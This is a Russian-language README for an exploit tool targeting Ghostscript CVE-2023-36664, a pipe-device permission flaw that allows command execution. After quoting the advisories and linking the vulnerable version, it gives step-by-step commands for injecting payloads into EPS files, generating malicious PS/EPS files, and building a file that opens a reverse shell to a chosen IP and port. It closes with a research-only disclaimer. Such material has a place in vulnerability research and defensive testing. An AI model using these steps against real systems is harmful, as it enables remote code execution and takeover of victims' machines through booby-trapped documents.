
Уязвимость, раскрытая в Ghostscript до версии 10.01.2, приводит к выполнению кода (оценка CVSS 9.8).
Официальное описание уязвимости:
Artifex Ghostscript до 10.01.2 некорректно обрабатывает проверку разрешений для pipe-устройств (с префиксом %pipe% или с префиксом символа канала |).
Debian выпустил бюллетень безопасности, в котором упоминается возможное выполнение произвольных команд:
«Было обнаружено, что Ghostscript, интерпретатор GPL PostScript/PDF, некорректно обрабатывает проверку разрешений для pipe-устройств, что может привести к выполнению произвольных команд при обработке некорректно сформированных файлов документов».
Репозиторий создан для статьи в блоге, посвящённой анализу CVE, доступной в блоге vsociety.
Скачайте Ghostscript 10.01.1 здесь: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Прямая ссылка на исполняемый файл для Windows x64: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
Эксплуатация может произойти при открытии файла PS или EPS и может позволить выполнение кода, вызванное некорректной обработкой Ghostscript проверки разрешений для pipe-устройств.
Использование: python3 CVE_2023_36664_exploit.py <input_file> <command>
Пример:
python3 CVE_2023_36664_exploit.py file.eps "calc"
Это создаёт новый файл с именем file_injected.eps.
Откройте его с помощью Ghostscript, чтобы запустить калькулятор (начиная с версии 9.50 также необходимо использовать опцию -dNOSAFER):
gs10011w64.exe -dNOSAFER .\file_injected.eps
Другие примеры: Создайте новый EPS-файл run_calculator.eps с полезной нагрузкой "calc" (открывает новый калькулятор в Windows)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
Создайте новый EPS-файл rev_shell.eps с пользовательским IP-адресом (запускает обратную оболочку при срабатывании в Unix)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
Создайте новый PS-файл malicius.ps с полезной нагрузкой "calc" (открывает новый калькулятор в Windows)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
Внедрите вредоносную пользовательскую нагрузку ("calc") в существующий файл file.eps (открывает новый калькулятор в Windows)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
Данное программное обеспечение создано исключительно в целях академических исследований и разработки эффективных методов защиты и не предназначено для использования при атаках на системы, кроме случаев явного разрешения. Сопровождающие проекта не несут ответственности за неправомерное использование программного обеспечения. Используйте ответственно.